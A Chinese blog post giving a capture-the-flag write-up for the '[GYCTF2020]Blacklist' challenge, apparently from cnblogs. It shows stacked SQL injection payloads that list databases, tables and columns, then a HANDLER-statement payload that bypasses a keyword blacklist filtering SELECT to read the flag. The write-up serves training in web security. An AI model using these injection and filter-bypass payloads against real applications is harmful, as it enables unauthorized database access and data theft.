[GYCTF2020]Blacklist 1
[GYCTF2020]Blacklist 1
打开实例发现get提交框,提交1发现显示
尝试万能密码无果
尝试联合注入,显示出了过滤规则,可以见到很多关键字都被过滤了
尝试堆叠注入,成功显示出数据表
?inject=1';show databases;
查表
?inject=1';use ctftraining;show tables;
看到了个FLAG_TABLE
查字段
?inject=1';use ctftraining;show tables;show columns from FLAG_TABLE;
这边显示not_flag
,靠背了又查错表了
重新查询supersqli
表
?inject=1';use supersqli;show tables;
看到FlagHere
,这次准没错了
查字段
?inject=1';use supersqli;show tables;show columns from FlagHere;
看到flag的列,但是未能显示出flag
这边因为select等字段被过滤的原因,所以并不能采用直接select的方式进行查询,所以思考片刻决定采用handler
进行查询
构造payload:
?inject=1';use supersqli;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
成功获取到flag
flag{40d647f8-9b46-4d91-82d1-d15815fab409}
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18543586
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具